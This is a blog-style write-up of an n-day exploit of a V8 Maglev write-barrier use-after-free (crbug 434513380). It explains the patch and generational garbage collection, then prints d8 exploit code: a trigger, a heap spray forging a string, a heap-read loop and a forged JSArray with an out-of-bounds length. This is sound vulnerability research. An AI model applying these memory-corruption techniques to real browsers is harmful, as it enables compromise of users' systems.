Maglev write-barrier use-after-free to an out-of-bounds array
Maglev knew a square root was a small integer, stored it without a write barrier, and handed over a HeapNumber anyway. One scavenge later an old object points into freed young-generation memory. This is an n-day exploit of that bug, crbug 434513380, from the regression test to a fake JSArray with a length of 125 million.
This is an n-day exploit, and I didn’t find the bug. Pavel Kuzmin of the Yandex Security Team reported it on 28 July 2025 as crbug 434513380, a use-after-free in V8’s mid-tier compiler, Maglev. It was fixed the same day. Chrome 140’s release notes listed it as CVE-2025-9864, and in November that CVE was withdrawn: the bug was introduced and fixed before the code reached Chrome’s Stable channel, so no stable Chrome was ever affected.
The fix and the regression test are public, the bug is small, and the path from it to a memory primitive goes through the part of V8 that most engine bugs end up abusing: the garbage collector’s assumptions about where pointers can be. My exploit is in my_v8_exploits. It runs in d8, the V8 shell, and stops at an out-of-bounds array.
The patch
Two commits from 28 July carry the fix. The first changes one line in src/maglev/maglev-ir.h:
static constexpr OpProperties kProperties = OpProperties::HoleyFloat64();
static constexpr OpProperties kProperties = OpProperties::Float64();Float64Sqrt declared its output as a holey float64, a representation that has room for the hole, V8’s internal marker for a missing array element. A square root never produces the hole, so the node now says plain Float64.
The second commit, relanded as a7af171a8d after a revert, is the one marked as the fix. It changes how Maglev turns a float64 value back into a tagged JavaScript value in GetTaggedValue() (src/maglev/maglev-reducer-inl.h). For a Float64 or HoleyFloat64 node whose known type is Smi, Maglev now emits CheckedSmiTagFloat64, which produces a Smi. Before, it emitted Float64ToTagged or HoleyFloat64ToTagged with kForceHeapNumber, which allocate a HeapNumber.
Put together, before the fix Maglev could know that a value was a Smi and still produce a HeapNumber for it. Anything later in the graph that trusted the type would be wrong about what it was holding.
Write barriers and the remembered set
V8’s heap is generational. New objects go into a small young generation, and a minor collection, the scavenger, cleans it often by copying the live objects out and throwing the rest away. To do that quickly it doesn’t scan the old generation. It looks at roots and at a remembered set: a list of slots in old objects that point into the young generation. When any collection moves young objects, the old-generation pointers to them are fixed up through that same set.
Slots get into the remembered set through the write barrier, a short check the engine runs on stores of heap pointers into objects. A Smi isn’t a heap pointer, it’s an integer stored in the slot, so a store whose value is known to be a Smi can skip the barrier. Compilers rely on that. When Maglev believes a value is a Smi, it emits the store without one.
So the sequence in the bug is:
- Maglev types
Math.sqrt(...)of a value that comes out as a small integer as a Smi. - The tagging step still allocates a HeapNumber in the young generation.
- The value is stored into a field of an old-generation object with no write barrier, because it is “a Smi”.
- The next collection doesn’t know about that slot. It moves the HeapNumber, or frees it, and leaves the old object’s field pointing at the young-generation memory where it used to be.
That last state is the use-after-free: a live old object holding a pointer into memory the allocator will hand out again.
Trigger
The regression test that came with the fix, test/mjsunit/maglev/regress-434513380.js, has the shape v0 = Math.sqrt(0); f2(v0);, compiled with %OptimizeMaglevOnNextCall and followed by gc(). My trigger is the same skeleton with the store aimed at an old object:
let oldObj = { value: null }; // allocated early, old by the time it matters
function f1() {
v0 = Math.sqrt(4.0); // 2, typed as a Smi, tagged as a HeapNumber
let arr = [2.2, 2.2, 2.2];
oldObj.value = v0; // stored with no write barrier
gc();
}
function f5() {
%OptimizeMaglevOnNextCall(f1);
f1();
}
%PrepareFunctionForOptimization(f1);
f5();
f5();%OptimizeMaglevOnNextCall and gc() are d8 natives that force the Maglev compile and the collection. In a browser both would have to come from ordinary JavaScript, through warm-up and allocation pressure, and that part isn’t in this exploit. After the second f5(), oldObj.value points at memory that no longer holds a HeapNumber.
Spraying a fake string
Young-generation allocation is a bump pointer, so a large run of same-shaped allocations covers the space the HeapNumber came from in a predictable pattern. The exploit sprays 24,400 arrays of 64 doubles and checks after each round whether typeof oldObj.value has become "string":
while (typeof oldObj.value != "string") {
spray = [];
for (index = 0; index < 24400; index++) {
spray.push([
1.2882298307039035e-231, 1.29e-321,
// ... the same pair, 32 times
]);
}
}The two doubles are bit patterns. 1.2882298307039035e-231 is 0x1000000010000000, and 1.29e-321 is a denormal whose bits are 0x0000000000000105. With pointer compression every tagged field is four bytes, so what matters is how the pair reads as dwords. In memory order it’s 10000000 10000000 00000105 00000000, repeating every 16 bytes.
A V8 string starts with a map, then a hash field, then a length. Read from a 00000105 dword, the pattern gives map 0x105, hash 0, and a length of 0x10000000 taken from the next pair. With static roots, V8’s read-only maps sit at fixed compressed addresses that are constants in the source for a given build, so a map can be written into a spray as a number. When typeof reports a string, the dangling slot has landed on the right dword, and oldObj.value is a string 268,435,456 characters long over whatever memory follows it.
Heap read
charCodeAt on that string reads the heap one byte at a time, as far past the spray as the exploit wants. It needs one object it can recognise, so it allocates b = [1.1] after the spray and scans four bytes at a time for 0x3ff19999, the high half of 1.1 (0x3ff199999999999a):
for (i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 4; j++) u8[j] = oldObj.value.charCodeAt(i * 4 + j);
if (u32[0] == 0x3ff19999) {
// the next three dwords: b's map, properties and elements
...
break;
}
}The double sits in b’s elements store, and the three dwords after it are the JSArray header of b itself: its map, its properties pointer and its elements pointer, all compressed. Those are exactly the values a fake array of the same kind needs.
Fake JSArray
The last step rewrites the spray in place. fillWithPair writes new doubles into the same 24,400 arrays, so nothing new is allocated and the memory under oldObj.value changes under the existing pointer:
let x1 = itof(doubleArray_map | doubleArray_properties << 32n);
let x2 = itof(doubleArray_elements | 0x0f00000000000000n);
for (let k = 0; k < spray.length; k++) fillWithPair(spray[k], [x2, x1]);
oobarray = oldObj.value;
console.log("got oob array with length " + oobarray.length);The new pattern in memory order is elements 0f000000 map properties. Read from the same dword offset as before, it’s a JSArray header: b’s map, b’s properties, b’s elements pointer, and a length field of 0x0f000000. Lengths are Smis, and a compressed Smi is the value shifted left by one, so that’s a length of 0x07800000, 125,829,120 elements. oobarray is an array of doubles that shares b’s one-element backing store and believes it has 125 million entries. Reading and writing past index 0 reads and writes whatever the heap holds after it, as raw 64-bit values.
Limitations
An out-of-bounds double array is the usual starting point in V8 exploitation. From here the standard moves are an addrof, by placing an object array after the backing store and reading its compressed pointers as doubles, and a fakeobj, by writing a crafted pointer and reading it back as an object. The exploit doesn’t build either, and it doesn’t make the corrupted objects survive the next garbage collection, which a real exploit has to.
Two limits matter more than those. The exploit relies on d8 natives to force compilation and collection. And everything it can reach is inside the V8 heap sandbox: an out-of-bounds array in the cage reads and writes the cage, and getting from there to code execution in Chrome takes a separate sandbox escape. What this post shows is a memory primitive in the d8 shell.
Conclusion
Two small mistakes were enough. A node declared a slightly wrong output representation, and a tagging path ignored a type it already knew. Neither looks like a memory-safety bug on its own. The damage came from a third piece of code trusting the type: a store that skipped the barrier because the value was “a Smi”. Any optimisation that removes a check because of a type turns a wrong type into a memory error. Write barriers are a clear example, because the collector never looks at the skipped slot again.